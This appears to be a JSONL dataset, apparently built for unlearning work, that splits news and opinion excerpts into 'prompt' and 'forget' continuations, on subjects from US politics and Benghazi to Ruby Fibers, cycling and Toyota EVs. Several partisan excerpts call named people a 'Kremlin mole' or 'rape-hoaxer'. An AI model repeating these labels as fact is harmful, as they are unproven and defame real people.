newspapers soon after she explained it to W.H. Council. \u2014 Donald J. Trump (@realDonaldTrump) May 8, 2017 Again, Schindler quickly pointed to the fly in Trump\u2019s buttermilk (a mistake Trump has since quietly corrected to \u201ccounsel\u201d): There's a WH Counsel. And there's a National Security Council. There is no \"WH Council\". POTUS is a complete moron. https://t.co/hUMBsq7NKS \u2014 John Schindler (@20committee) May 8, 2017 Schindler followed that up with a stinging condemnation of Trump\u2019s continued dishonesty and where it\u2019s going to get him (hint: not a good place): There's so much dishonest desperation in this tweet you can taste it across the room. Gonna be a bad week for Trump & his #KremlinGate pals. \u2014 John Schindler (@20committee) May 8, 2017 Donald Trump has good reason to be frightened and good reason to want to shift blame for his hiring of Kremlin mole Michael Flynn onto Obama, who fired the guy and to discredit Sally Yates, who has the proverbial \u201cgoods\u201d on Donald Trump. John Schindler called it: Trump is a complete moron and he has only himself to blame for"}
{"prompt": "Downtown Cleveland looms beyond the Tremont neighborhood, where old factories and warehouses are quickly being replaced with new housing and businesses. Downtown Cleveland looms beyond the Tremont neighborhood, where old factories and warehouses are quickly being replaced with new housing and businesses. Jabin Botsford/The Washington Post What Cleveland looks like as it prepares for the Republican National Convention What Cleveland looks like as it prepares for the Republican National Convention When Democrats gather for their national convention in Philadelphia, the list of speakers praising Hillary Clinton\u2019s presidential candidacy is expected to feature the president, the vice president, the first lady,", "forget": "a former president and a galaxy of well-known political luminaries. But when the Republican convention opens next week in Cleveland, presumptive nominee Donald Trump will showcase an assortment of family members, defeated primary opponents and politicians whose names barely register with the general public. Many of the GOP\u2019s past, current and future leaders are staying away from the spotlights at the Quicken Loans Arena. The star-power disparity between the conventions speaks volumes about the state of the two parties \u2014 one is united and marching together toward what it hopes will be its fifth win of the past seven presidential elections, while the other remains divided and still not fully accepting its new standard bearer. \u201cRepublicans have always had a terrible star-power deficit \u2014 the Democrats have the latest hip-hop or pop act and we\u2019ve got Lee Greenwood and the Oak Ridge Boys \u2014 but now it\u2019s going to be even more pronounced,\u201d said Rick Wilson, a Republican strategist who is not supporting Trump. Looking ahead to Philadelphia, Wilson said of the Democrats, \u201cBill Clinton, Hillary Clinton, Barack Obama, Michelle Obama, Elizabeth Warren \u2014 they\u2019re all going to be out there swinging for the fences. But the Republicans, it\u2019ll be like a hostage video of people forced on stage.\u201d View Graphic Trump picked Pence for VP. Here\u2019s who he passed up. Warren, a senator from Massachusetts who is considered a finalist to be Clinton\u2019s running mate, is expected to give a major address, as are two other vice presidential prospects, Sens. Timothy M. Kaine (Va.) and Cory Booker (N.J.). Other expected speakers include Sen. Bernie Sanders (Vt.), who on Tuesday ended his presidential campaign and endorsed Clinton after weeks of holding out. On the Republican side, House Speaker Paul D. Ryan (Wis.) looks to be the highest-profile party leader. He"}
{"prompt": "Shining Resonance Re:frain announced for PS4 [Update 2] Remastered release due out on March 29 in Japan. The latest issue of Weekly Famitsu reveals Shining Resonance Re:frain for PlayStation 4. It will launch on March 29, 2018 in Japan in standard and \u201cPremium Fan Box\u201d limited editions. Shining Resonance Re:frain is a remastered version of Shining Resonance, which was released for PlayStation 3 in Japan in December 2014. It will feature various additional elements and enhanced graphics. Weekly Famitsu has an introduction of the game\u2019s new elements, including a \u201cRefrain Mode\u201d that features a \u201cwhat if\u201d story. Thanks, Famitsu. Update", "forget": "6:35 a.m.: More information has come in. The standard edition will cost 5,990 yen. The Premium Fan Box limited edition will cost 9,490 yen, and include a fan book, drama CD, and theme song CD. Shining Resonance Re:frain will feature all of the more than 150 pieces of downloadable content from the original release packaged into the game, as well as a new theme song and costumes. In the new \u201cRefrain Mode,\u201d you can enjoy the \u201cwhat if\u201d story for Excela Noa Aura and Jenius Aeon, who were unable to become party members in the original game. The last boss of the first chapter is easier to defeat. If you lose in battle, you can restart from before the event. Rinna Mayfield\u2019s AI has been made a bit smarter as to refrain from plunging into the enemy. Request rewards and completed quests have been made easier to understand. Fromage\u2019s navigation can be switched off. Dialogue text has been added when moving on the field. When Shining series producer Tsuyoshi Sawada, the series came to a pause, but Sega\u2019s Makoto Suzuki said \u201crather, let\u2019s start from here,\u201d and restarted the series. The resolution has increased and it runs at 60 frames per second. The main story has not been changed. Images of Refrain Mode will be revealed in the second week. The volume is much greater than dates with the other characters from the original story. New voices have also been recorded. The limited edition will have more content than the limited edition of Blade Arcus from Shining. Character designer Tony Taka wants to see a Shining revival. He hopes that Re:frain can be seen as the start of it all. Thanks, Ryokutya2089. Update 7:20 a.m.: A few more details. The new theme song is called \u201cTowairo no Aria\u201d and sung"}
{"prompt": "Matti Breschel (Saxo-Tinkoff) won stage 3 at the Tour of Denmark from a five-rider breakaway and also moved into the general classification lead of his national Tour. Francesco Bongiorno (Bardiani Valvole-CSF Inox) and Wilco Kelderman (Belkin) finished second and third respectively behind the 28-year-old Dane, followed by Lars Bak (Lotto Belisol) in fourth and Edoardo Zardini (Bardiani Valvole-CSF Inox) in fifth. Related Articles Tour of Denmark hints at Swedish sojourn for 2015 Breschel not only won his second straight stage, but now holds the leader's yellow jersey with a six-second advantage over Bak while Bongiorno moves up to third at", "forget": "14 seconds. The peloton was shattered on the 200km queen stage from S\u00f8nderborg to Vejle through a combination of crosswinds, record heat, hills, plus a taxing finishing circuit. Overnight race leader Magnus Cort Nielsen (Team Cult Energy) finished in a 16-rider group at 48 seconds and dropped to ninth on general classification. The day's early break formed just 10km into the stage as six riders went out on the attack: Alex Rasmussen (Garmin-Sharp), Mikhail Ignatyev (Katusha), Mark Sehested Pedersen (Blue Water Cycling), Michael Reihs (Team Cult Energy), S\u00f8ren Kragh Andersen (Team Tre-For) and Mikkel Mortensen (Team Concordia Forsikring-Riwal). After 25km of racing their lead reached three minutes and for the next couple of hours their advantage fluctuated slightly between 2:40 and three minutes on the peloton. Crosswinds split the peloton at the 84km mark, but the field eventually re-grouped. The Belkin team had been setting tempo at the head of the peloton and after covering 113km the break's lead had dropped to 1:30. In addition to the hilly terrain during the Tour of Denmark's longest stage, the peloton was having to grapple with the hottest temperatures in race history, with the mercury reaching 31.5 Celsius. Belkin kept the break's advantage pegged at 1:30 for the next 30km but then the escape group started to falter as both Rasmussen and Sehested were dropped at 146km. Saxo-Tinkoff and Lotto Belisol both provided assistance to Belkin in the peloton and the four riders in front saw their lead drop below one minute. With approximately 35km remaining, the break was caught and a group of 10 went out on the attack. Just prior to reaching the 5.6km finishing circuit in Vejle, to be completed three times, the lead group had increased in size to approximately 20 riders. The finishing circuit featured a stiff, 21"}
{"prompt": "Photos: Netflix, Amazon Prime: What's streaming in May New movies for May \u2013 Netflix and Amazon are adding so much streaming content in May we're not sure the month's 31 days is enough time to sift through it all. You can kick off your movie and TV bingeing with \"Adventures in Babysitting,\" which is now available on Netflix. Hide Caption 1 of 31 Photos: Netflix, Amazon Prime: What's streaming in May New movies for May \u2013 \"Forrest Gump\" (1994) -- Life is like a box of ... . This film stars Tom Hanks as a child-like man who stumbles into", "forget": "some of the biggest moments in history. (Netflix) Hide Caption 2 of 31 Photos: Netflix, Amazon Prime: What's streaming in May New movies for May \u2013 \"Boys Don't Cry\" (1999) -- The film based on the tragic story of Brandon Teena won Hilary Swank an Academy Award for best actress. (Netflix) Hide Caption 3 of 31 Photos: Netflix, Amazon Prime: What's streaming in May New movies for May \u2013 \"Hook\" (1991) -- Robin Williams is a the now grown-up Peter Pan who must save his children from his arch-enemy Captain Hook in this fantasy film. (Netflix) Hide Caption 4 of 31 Photos: Netflix, Amazon Prime: What's streaming in May New movies for May \u2013 \"Gladiator\" (2000) -- Russell Crowe and Joaquin Phoenix star in this Ridley Scott-directed film about a Roman general who is enslaved and forced to fight as a gladiator. (Netflix) Hide Caption 5 of 31 Photos: Netflix, Amazon Prime: What's streaming in May New movies for May \u2013 \"Broadway Idiot\" (2013) -- It's not every musician that can go from being a platinum-selling punk rocker to Broadway star. This documentary about Green Day front man Billie Armstrong tells the story of his journey. (Netflix) Hide Caption 6 of 31 Photos: Netflix, Amazon Prime: What's streaming in May New movies for May \u2013 \"Kill Bill\" Volumes 1 and 2 (2003, 2004) -- The body count is high in these Quentin Tarantino movies as Uma Thurman's character The Bride seeks her revenge in the martial arts flicks. (Netflix) Hide Caption 7 of 31 Photos: Netflix, Amazon Prime: What's streaming in May New movies for May \u2013 \"Kiss the Girls \" (1997) -- Based on the James Patterson novel, this thriller stars Morgan Freeman and Ashley Judd. (Netflix) Hide Caption 8 of 31 Photos: Netflix, Amazon Prime: What's streaming in"}
{"prompt": "Media playback is unsupported on your device Media caption The move is part of the government's effort to control net migration, as Hugh Pym reports Thousands of foreign nurses working in junior posts in the UK could be forced to return home under new immigration rules, union leaders have warned. A new pay threshold for migrants means non-European workers will have to leave the UK after six years if they are not earning at least \u00a335,000. The Royal College of Nursing said the rules would \"cause chaos\" for the NHS and waste money spent on recruitment. The Home Office said", "forget": "the rules would help reduce demand for migrant labour. And Prime Minister David Cameron even got drawn into the issue, saying more homegrown nurses were in the process of being recruited. The move is part of the government's effort to control net migration, but the union says that by 2017 more than 3,300 NHS nurses could be affected. And by the end of the decade the numbers could be double that - a potential waste of nearly \u00a340m when all the costs of recruitment are taken into account, the RCN says. There are more than 400,000 nurses working in the NHS and over 600,000 registered to work. The warning comes as the RCN's annual conference gets under way in Bournemouth. More difficult RCN general secretary Peter Carter said: \"The immigration rules will cause chaos for the NHS and other care services. \"At a time when demand is increasing, the UK is perversely making it harder to employ staff from overseas.\" He told BBC Radio 4's Today programme the move was \"totally illogical\" as there is currently a \"major shortage of nurses\", leading to many NHS trusts spending \"tens of millions\" to recruit from overseas. Media playback is unsupported on your device Media caption RCN's Peter Carter: \"[Foreign nurses] will have to leave their homes in the UK, many of them now have families here... it's a truly deplorable state of affairs\" Dr Carter also stressed that most nurses earn \"nowhere near\" \u00a335,000, with most on salaries of between \u00a321,000 and \u00a328,000 a year. Due to cuts to nurse-training places, trusts are being forced into relying on overseas recruitment as well as temporary staff just to provide safe staffing. The long-term solution is to train more nurses in the UK, but in the interim, foreign nurses filled the gap, he added."}
{"prompt": "The Democrats and their media acolytes who are pushing back against a full investigation of the Benghazi scandal are in full circle the wagons mode. They are trying to make investigating this scandal into some sort of late night joke against Republicans, but instead are looking more desperate by the day. Many Americans do not believe the Obama administration\u2019s account of what happened leading up to and during the September 11, 2012 attack. They smell a cover up. According to a Rasmussen poll earlier this month, 59 percent feel it is unlikely the administration has revealed all of the details", "forget": "surrounding the tragic attack. \u201cSeventy-two percent continue to believe that it is important to find out exactly what happened in the Benghazi matter, with 46 percent who say it is \u2018Very Important.' Twenty-five percent consider more information about the Benghazi case unimportant, up from 19 percent in January, but that includes just 7 percent who say it is \u2018Not At All Important,'\u201d said Rasmussen. Distrust of the Obama administration was stoked by the recent revelation of an e-mail written by then-White House Deputy Strategic Communications Adviser Ben Rhodes showing White House involvement in concocting the bogus anti-Muslim video explanation for the killings. The purpose of this intervention by the White House was to prepare then-UN Ambassador Susan Rice for her Sunday TV show appearances on September 16, 2012, with the goal of pushing the video narrative even though senior officials at the State Department and intelligence personnel on the ground knew early on that a pre-meditated terrorist attack was the real cause. White House Press Secretary Jay Carney made a fool of himself yet again when he tried to claim with a straight face that the Rhodes e-mail had nothing to do with Benghazi. It\u2019s all old news anyway, he intoned. Bill Clinton has tried to blunt criticism of his wife\u2019s conduct as Secretary of State by saying that the State Department\u2019s own Benghazi investigation, which was led by retired Adm. Mike Mullen and former U.S. diplomat Thomas Pickering, \u201clooked into what was wrong. They gave 29 recommendations. She took 'em and started implementing them.\" That may be true, but Bill conveniently left out the fact that Hillary\u2019s hand-picked Accountability Review Board failed to interview her. When she finally appeared before Congress to testify, Hillary responded to questions with a question of her own: \u201cWhat difference at this point does"}
{"prompt": "Food and Fuel Control Act Other short titles Lever Food Act Long title An Act to provide further for the national security and defense by encouraging the production, conserving the supply, and controlling the distribution of food products and fuel. Nicknames Lever Act Enacted by the 65th United States Congress Effective August 10, 1917 Citations Public law 65-41 Statutes at Large 40 Stat. 276 Legislative history Introduced in the House as H.R. 4961 by Asbury Lever (D-SC) on June 23, 1917 H.R. 4961 Asbury Lever (D-SC) June 23, 1917 Passed the House on July 21, 1917 (81-6) July 21, 1917", "forget": "(81-6) Passed the Senate on July 23, 1917 (51-8) July 23, 1917 (51-8) Reported by the joint conference committee on August 2, 1917; agreed to by the House on August 3, 1917 (360-0) and by the Senate on August 8, 1917 (66-7) August 2, 1917; August 3, 1917 (360-0) August 8, 1917 (66-7) Signed into law by President Woodrow Wilson on August 10, 1917 The Food and Fuel Control Act, Pub.L. 65\u201341, 40 Stat. 276, enacted August 10, 1917, also called the Lever Act or the Lever Food Act was a World War I era US law that among other things created the United States Food Administration and the Federal Fuel Administration. Legislative history [ edit ] The act was a very controversial piece of legislation. The act was sponsored by Rep. Asbury F. Lever, a Democrat from South Carolina. President Wilson urged its passage as a wartime emergency measure. Some opposed the authority that would rest in the person of the \"Food Administrator.\" Others opposed language that empowered the president to limit or prohibit the use of agricultural products in the production of alcoholic beverages, thereby establishing a form of national prohibition. Senators proposed alternatives, including a prohibition on the production of whiskey alone for the duration of the war. Republican Senator Henry Cabot Lodge objected to the language that authorized the president to \"use any agency or agencies, to accept the services of any person without compensation, to cooperate with any person or persons in relation to the processes, methods, activities of and for the production manufacture, procurement, storage, distribution, sale, marketing, pledging, financing, and consumption of necessaries which are declared to be affected with a public interest.\"[1] Wilson also had to fight off the proposal of Massachusetts Republican Senator John W. Weeks to establish instead a Joint"}
{"prompt": "The Nuraphones determine your personal hearing profile by listening to \"otoacoustic emissions\" -- sounds emitted by the inner ear when stimulated -- with a tiny microphone. These emissions reveal a lot of info about our hearing, enough that Nura believes can be deciphered into a sort of hearing \"fingerprint.\" Nura takes this fingerprint and uses it to adjust the audio signal from the headphones. The end result is a bit like a personal EQ setting, without all the guesswork, designed to make music sound like the artist intended (rather than amplify arbitrary frequencies). It's a tantalizing prospect: Corrective headphones that", "forget": "know the quirks and failings of your beleaguered ears. When we wrote about them last year, I'll admit I was skeptical. Pretty much every headphone pitch I have ever had (and that is many) has espoused the virtues of its revolutionary audio, be it custom drivers, magical sound engines, dynamic doo-dahs or cutting-edge EQ algorithms and so on. But none of that helps if you're not able to hear all of those sounds and frequencies equally. Setting up the Nuraphones is a bit more involved than most other headphones (in that there's even a setup process at all), but it's simple. Using the companion app (iOS/Android), you are first guided to make sure you have the headphones placed on your head correctly. Nuraphones have an unusual configuration that we'll get into later, but this makes it important to have them on just right during setup. Once you have them on properly, the app plays some audio that sounds a bit like a futuristic fax machine. This doesn't last long, but it soon moves onto the next stage of configuration, which takes a little longer. All in all, it takes about a minute. Once complete, you can save your profile and forget about it if you wish. Naturally, the first thing I wanted to know was how it sounded without the custom profile. Fortunately, this is easy to do in the app, as there's a switch to toggle between generic and custom audio. I'll be honest, the difference was incredible. In the generic setting, the audio sounded actually pretty bad. But once I put on the custom profile, the music sprang to life. The first thing you notice is that the music is louder. This alone -- a simple bump in volume -- is often enough to \"trick\" the brain into"}
{"prompt": "Ryder Cup golf tournament in Perthshire seeks 1800 volunteers SWNS Ryder Cup organisers are seeking 1800 volunteers to help out at the golf competition next year. Those keen to help out will be asked to pay \u00a375 for the privilege. The cost will cover the food, drink and clothing they will be given at the event, organisers say. The tournament, which involves the best players from Europe and the US, will be held at Gleneagles, Perthshire in September next year. Around 250,000 spectators are expected to descend on the area for the event, and organisers say they need volunteers for", "forget": "roles on and off the course. Applicants can apply for duties such as scoreboard carriers, crowd safety marshals, programme sellers and buggy shuttle drivers. But the recruitment drive for scores of volunteers has been met with criticism from the Scottish Trades Union Council. Ian Tasker, assistant secretary, said: \"Our position is that this is an event that clearly generates massive amounts of money for the Scottish economy and a substantial sum for the PGA. We think it is quite strange that they are asking for \u00a375 from each volunteer to register and that this could be a barrier to stop some people from volunteering. \"They appear to want to recruit people from a golfing and middle class background. It is a good opportunity to give people paid work and we believe some money should go towards investing in people. It would have been possible to employ 1800 young people who are currently looking for work to give them a bit of experience and pay them a decent wage, and that could probably have cost less than \u00a3500,000. \"And you need to consider that as a tiny percentage of the profits that are going to be derived from this event.\" Europe beat the US to win last year's competition, in Illinois, US, by a single point in one of the most dramatic final days the tournament has seen. Paul McGinley, captain of the 2014 European team, is promoting the campaign after seeing how volunteers influenced previous tournaments. \"It takes a huge team of people to make the Ryder Cup a successful event, and the thousands of volunteers involved are a very important part of that. We are always appreciative of anyone who gives their time to volunteer and support golf and there are not many countries in the world better than"}
{"prompt": "It was planned as the most daring operation undertaken by the IDF in recent years \u2014 exceptional in courage and complexity. The mission: take captive the head of Hamas\u2019s military wing, Ahmed al-Jabari, in the heart of the Gaza Strip, and bring him back to Israel as a bargaining chip for Gilad Shalit\u2019s release. Details of the Entebbe-style raid of the 21st century are being published here for the first time. One can only imagine the stories generations of fighters from special units would have grown up on had it succeeded. But the soldiers \u2014 men from an elite unit", "forget": "who were sent into position and were ready to carry out the capture of Jabari in Gaza \u2014 ultimately returned empty-handed. Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up From the moment the operation received approval in late 2008, the defense establishment kicked intelligence gathering on Jabari into high gear. They quickly identified a weak spot, a routine: the man would often come back from a visit with one of his two wives, then travel across the Gaza Strip in a way that would allow an IDF team to ambush him. He also made a habit of not driving in a secure convoy, and preferred moving about in a private car with just one or two bodyguards. More information collected by military intelligence and by the Shin Bet paved the way for the operation. The fighters began to train. On the designated day, \u201cD,\u201d the commander of the unit, oversaw the operation at a location not far from Gaza, while another commander took up a position in the field. Jabari was expected to arrive at the location and encounter a well-planned ambush, carried out under cover of darkness. According to sources involved in planning the operation, \u201cthe likelihood that he would have been taken alive was high. We have the necessary equipment to have ensured his survival of the ambush, and if we would have wanted, we could have taken out the bodyguards.\u201d After a long wait, the troops received the green light and started making their way into Gaza for the operation \u2014 a daring raid, directed at the heart of the Islamist group that was holding Shalit hostage, a reassertion of IDF potency designed to attain the leverage to secure the soldier\u2019s release. But at the last minute"}
{"prompt": "Untangling Evented Code with Ruby Fibers Event-driven programming requires a mind-shift in how you architect the program, and oftentimes directly affects the choice of language, drivers, and even frameworks you can use. Most commonly found in highly interactive applications (GUI, network servers, etc), it usually implements the reactor pattern to handle concurrency in favor of threads: the \u201creactor\u201d is a main loop which is responsible for receiving all inbound events (network IO, filesystem, IPC, etc) and demultiplexing them to appropriate handlers or callbacks. Turns out, the reactor pattern performs extremely well under heavy loads (C10K challenge), hence the continuous rise", "forget": "in adoption (Nginx, Beanstalkd, EventMachine, Twisted, Node.js), but it does have its downsides: it requires reactor-aware libraries, still relies on background processing capabilities for long running computations, and last but not least, once you have nested several callbacks, it results in much more complicated code. Functional purists will disagree with the last statement \u2013 after all, we all love JavaScript, and node.js is the new hot thing on the block \u2013 but what if we could write event driven code without the added complexity imposed by hundreds of nested callbacks? Accidental Complexity of Event-Driven Code Anyone who has written a non-trivial event driven application will be familiar with the following pattern: you often start reading your code bottom-up and then navigate your way up the callback chain. In addition, since there is no single execution context, each callback requires its own nested exception handling, which adds to the complexity - debugging is non-trivial, to say the least. Of course, this is usually not too bad in a context of a simple demo, but it also quickly spirals out of control. EventMachine . run { page = EventMachine :: HttpRequest . new ( 'http://google.ca/' ) . get page . errback { p \"Google is down! terminate?\" } page . callback { about = EventMachine :: HttpRequest . new ( 'http://google.ca/search?q=eventmachine' ) . get about . callback { # callback nesting, ad infinitum } about . errback { # error-handling code } } } Call me old-fashioned, but I much prefer the if-then-else control flow, with top-down execution and code I can actually read without callback gymnastics. And as luck would have it, turns out these are not inconsistent requirements in Ruby 1.9. With the introduction of Fibers, our applications can do fully-cooperative scheduling (worth a re-read to make sense of the"}
{"prompt": "As the Daily Wire reported Tuesday, the Hollywood trade Variety released its latest issue, a special Inaugural edition that features five left-wingers opposed to Donald Trump, the man who will be sworn in as our 45th president Friday. The cover features CNN's Van Jones, Chelsea Handler, rape-hoaxer Lena Dunham, Michael Moore, and Hamilton's Brandon Victor Dixon. All five stand together holding a large American flag\u2026 A flag that, in full-violation of United States Code, is dragging on the ground. Take a look at this brazen disrespect for yourself. There is no gray area on this matter. Title 4, Chapter 1,", "forget": "Section 8 of the U.S. Code (\"Respect for flag\") states clearly in paragraph (b) that: The flag should never touch anything beneath it, such as the ground, the floor, water, or merchandise. No, it is not against the law to allow the flag to drag on the ground. There is no civil or legal penalty. Also, contrary to the myth, you do not have to burn the flag if it touches the ground. Out here in the Flyover Hinterlands, it is common knowledge that, out of respect for our country and those who sacrificed for it, you do not allow Old Glory to hit the ground. Ever. Nevertheless, being careful to keep the flag from touching the ground is something we were all (well, most of us) taught as children. Out here in the Flyover Hinterlands, it is common knowledge that, out of respect for our country and those who sacrificed for it, you do not allow Old Glory to hit the ground. Ever. Moreover, when handling the flag, again out of respect, this is something you are supposed to be highly conscious of -- and anyone who esteems the flag, certainly is. If the flag touches the ground in error, no harm done. It happens. But that is not what happened in this Variety cover\u2026. What you have here are four celebrities and one CNN (naturally) anchor posing as patriots. And yet, not a single one of them had the presence of mind, or enough regard for our flag, to say, Whoa, hey, wait a minute! Get the flag off the floor! First off, it's not okay and I'm not doing it. Secondly, America already sees us as clueless, America-hating, commie elites. Yes, we do, and this Variety cover is just more proof of that. Some of you might"}
{"prompt": "Partisans of the Left compulsively claim President George W. Bush was an imbecile who couldn\u2019t be trusted on anything. If they\u2019re right, all of us must reflexively and wholly refute every statement he ever made. It would seem very reasonable, then, to first dispense with a sweeping pronouncement on one of the most pressing and thorny issues of modern times, an issue that obviously no Texan troglodyte could hope to grasp: \u201cThe face of terror is not the true faith of Islam. That\u2019s not what Islam is all about. Islam is peace.\u201d Those words were spoken by America\u2019s forty-third commander-in-chief", "forget": "at the Islamic Center of Washington, DC, just six days after the attacks of September 11, 2001. Lo and behold, if there\u2019s one thing that Bush clearly shares in common with his renowned ideological rivals\u2014Barack Obama, Hillary Clinton and Joe Biden\u2014it\u2019s an obstinate belief that the religion of Islam has nothing to do with violence. Obama has defended \u201cthe true peaceful nature of Islam.\u201d Clinton has tweeted, \u201cMuslims are peaceful and tolerant people and have nothing whatsoever to do with terrorism.\u201d And Biden, after listening to activist, author and ex-Muslim Ayaan Hirsi Ali discuss the relationship between ISIS and Islam, reportedly retorted, \u201cLet me tell you one or two things about Islam.\u201d Actually, there are a few things that Bush, Obama, Clinton and Biden share in common. None of them are theologians, none of them are scholars of Middle Eastern history and none of them\u2014not even Obama, as far as I\u2019m aware\u2014can read classical Arabic and, thus, understand the Koran, the hadith (the traditions and habits of Muhammad) or the sunna (the teachings and sayings of Muhammad) in their original form. (Whether Bush, Biden or Clinton has bothered to read a single translated page of these texts remains to be seen. Obama, who from ages six to ten, attended a public school in Indonesia influenced by the West, appears to be in much the same boat.) Yes, our political leaders are perfectly unified in their immense ignorance of the worldview to which 1.6 billion people\u2014around a quarter of the global population\u2014subscribe. But let\u2019s leave aside for a moment the contentious and oft-debated question of whether Islam is a religion of peace. Why the absence of \u201c\u2019splaining\u201d accusations? After all, the numerous branches of the PC Police typically leap to castigate those who opine on topics beyond their \u201cknowledge.\u201d (\u201cKnowledge\u201d and,"}
{"prompt": "Eschker isn\u2019t the only person doing scholarly work on the ramifications of cannabis legalization. Students and professors across the country are looking beyond the question of \u201cShould cannabis be legal?\u201d toward the more complex economic, sociological, and legal questions raised by legalizing the drug. These higher-ed classes have become a place for students to explore the uncertainties created by the unfolding cannabis story: for example, how to draft legislation for a legal industry, what can be learned from alcohol prohibition, and how dispensaries affect communities. Finding answers to these questions is becoming increasingly urgent, as more states are lifting restrictions", "forget": "on cannabis use. Residents in Colorado and Washington voted in favor of personal-use legalization in November 2012. On New Year\u2019s Day 2014, Coloradoans made their first state-legal purchases. In addition, 20 states and Washington, D.C. have laws that permit cannabis for medical use. Before and after California\u2019s legalization attempt, medical cannabis shops popped up all over the state, particularly in Los Angeles. Their rapid growth led to a citywide backlash to shut down some of the storefronts. In this debate, Steve Graves, a professor of geography at California State University, Northridge, saw an opportunity. \u201cI recognized this was a really rich visual display created on the landscape. And I was worried that if they all disappeared and they all have to go out of business that there might not be a visual record of what they looked like,\u201d said Graves. So Graves came up with a creative way to get his students, who live all over the greater Los Angeles area, to help document the changing landscape: If they spotted a dispensary while driving or walking, they could snap a picture for a little extra credit. He received a sizeable pile of images from his students and matched them with a dispensary database created by the Los Angeles Times. Graves eventually noticed patterns. For example, dispensaries, like casinos and liquor stores, lined up along a border of a municipality where they were banned. \u201c[Students] said, \u2018Oh my god I didn\u2019t realize there were so many until I started actively looking for them,\u2019\u201d Graves said. \u201cStudents dig that. And then they say, \u2018Guess what else I noticed?\u2019 which excites me as a teacher.\u201d Many of the dispensaries stayed open, leading to a debate about their effect on communities. Bridget Freisthler, an associate professor at UCLA\u2019s Luskin School of Public Affairs, had"}
{"prompt": "Today, Toyota announced changes in executives\u2019 areas of responsibility, as well as personnel changes at the sub-executive managerial level. The most important change by far is the appointment of Akio Toyoda, the company\u2019s CEO and grandson of founder Kiichiro Toyoda, as President of a new \u2018EV Business Planning\u2019 department. Earlier this month, we reported\u2013admittedly a little tongue-in-cheek\u2013about Toyota announcing the creation of an electric vehicle division and putting only 4 engineers on the project with the goal to bring EVs to market by 2020. The move seems a lot more serious now that Akio Toyoda is leading the effort, and", "forget": "several other executives, managers, and engineers have been assigned new responsibilities in the electric vehicle planning department, including the chief engineer of the Prius. At the executive level, the changes will be effective today, while the managers were apparently put on the program throughout the month. You can see the full list of changes below. It appears to be a clear sign that Toyota is more serious than ever about electric vehicles and it is not simply investing in fuel cell hydrogen to comply to new fuel consumption standards. Changes to executives\u2019 areas of responsibility (effective December 1, 2016) Name Current New Akio Toyoda \u2015 President EV Business Planning Dept. (chief officer) Mitsuhisa Kato Executive Vice President Frontier Research Center (chief officer) Executive Vice President Frontier Research Center (chief officer) EV Business Planning Dept. (chief officer) Shigeki Terashi Executive Vice President Strategic Top Executive Meeting Office (secretary general) Corporate Strategy Div. (chief officer) Research Div. (chief officer) Executive Vice President Strategic Top Executive Meeting Office (secretary general) EV Business Planning Dept. (chief officer) Corporate Strategy Div. (chief officer) Research Div. (chief officer) Koki Konishi Managing Officer Mid-size Vehicle Company (executive vice president) Managing Officer General Administration & Human Resources Group Changes to executive general managers\u2019 areas of responsibility (effective November 1, 2016) Name Current New Shinichi Yasui Mid-size Vehicle Company ZS (chief officer), ZV (chief officer), ZD (chief officer), ZE (chief officer), ZF (chief officer) Mid-size Vehicle Company ZS (chief officer), ZV (chief officer), ZD (chief officer), ZE (chief officer), ZF (chief officer, concurrent chief engineer) Personnel changes at the sub-executive managerial level (effective November 1, 2016) Name Current New Kouji Toyoshima MSZ, Mid-size Vehicle Company (chief engineer) MSZ, Mid-size Vehicle Company (chief engineer) EV Business Planning Dept. (preliminary organization) (general manager) (effective November 14, 2016) Name Current New Kenichi"}
{"prompt": "Feb 2, 2016; Brooklyn, NY, USA; New York Islanders center Anders Lee (27) celebrates his goal against the Minnesota Wild with teammates during the second period at Barclays Center. Mandatory Credit: Brad Penner-USA TODAY Sports The Islanders offense explodes in the second and third periods to help secure their first victory of a pivotal second half stretch run. Five different Islanders scored goals in Brooklyn to overpower the Minnesota Wild. The Islanders took control with 3 second period goals and then sealed the victory with 2 quick goals in the third. While the offense led the way, Jean-Francois Berube notched", "forget": "40 saves in his first career NHL victory. After a first period goal from Charlie Coyle, Mikhail Grabovski answered early in the second period. They didn\u2019t want to waste any time and less than two minutes later Anders Lee scored a redirect on a Travis Hamonic slapshot. With less than 2 minutes left in the period Pominville leveled the score and it looked like the Isles and Wild would be heading into the 3rd period all square. But just like that the Isles top goal scorer, Brock Nelson, took the lead back with a wrister from the slot. The Islanders wasted no time in the third with an early powerplay goal from Frans Nielsen and a goal from Captain John Tavares minutes later. A Minnesota Wild powerplay goal midway through the period from Nino Niederreiter made anyone who bet the Islanders -1.5 nervous, but the Wild never seemed to really be a threat to come back and win. A downside for Islanders fans was the play of Nino Niederreiter. He had a goal and an assist in Brooklyn and it makes me think what could have been if his time with the Islanders had gone differently. The most intriguing story line of this game for most fans will be the play of third string goaltender JF Berube. While many will praise Jack Capuano\u2019s decision to play Berube, the move it is still puzzling. Capuano and GM Garth Snow want Berube to get some NHL action in order to increase his trade value. Despite making 40 saves, Berube let in a couple very soft goals. He let a first period Charlie Coyle shot squirt by him that had no business going in. Later in the second period he let a rebound go straight back to Jason Pominville who buried his second"}
{"prompt": "Residents in a Dublin city centre apartment complex have been told to pay \u20ac4 million in less than a week or face eviction after major fire safety deficiencies were discovered in their building. Residents in a Dublin city centre apartment complex have been told to pay \u20ac4 million in less than a week or face eviction after major fire safety deficiencies were discovered in their building. 'We're the victims here' - Longboat Quay residents face eviction unless they cover \u20ac4m repair bill for fire safety failings Around 900 people live in the 299 apartments in the Longboat Quay complex by", "forget": "the Dublin docklands. Residents of the apartments on Sir John Rogerson's Quay were left horrified when they were told last night owners would have to pay between \u20ac9,300 to \u20ac18,000 depending on the size of their apartment. \u201cI was asked to pay \u20ac18,000 and I told the chap last night I wouldn\u2019t be paying it \u2013 I haven\u2019t got that kind of money,\u201d one resident told RTE\u2019s Six One News. Longboat Quay was built by developer Bernard McNamara in 2006 with owners paying between \u20ac450,000 and \u20ac750,000 at the height of the boom. However serious fire safety deficiencies were uncovered last year and so far Dublin Docklands Development Authority, the nominal landlord, has paid \u20ac1 million to fix the fire alarm system. But further work is required to upgrade fire walls and smoke vents at a cost of \u20ac4 million. Read More: Enda Kenny urged to help resolve plight of residents in 'fire risk' complex The docklands authority insists this is the responsibility of apartment owners as the company used by Mr NcNamara has gone into receivership. But many owners say while they could pay some of the cost, they should not be responsible for \u201cproblems they did not know existed\u201d. Richard Eardley Director Longboat Quay Management \u201cWe the owners are the victims here, we all bought apartments here in the last few years without knowing these problems existed and now we\u2019re faced with a big problem,\u201d said 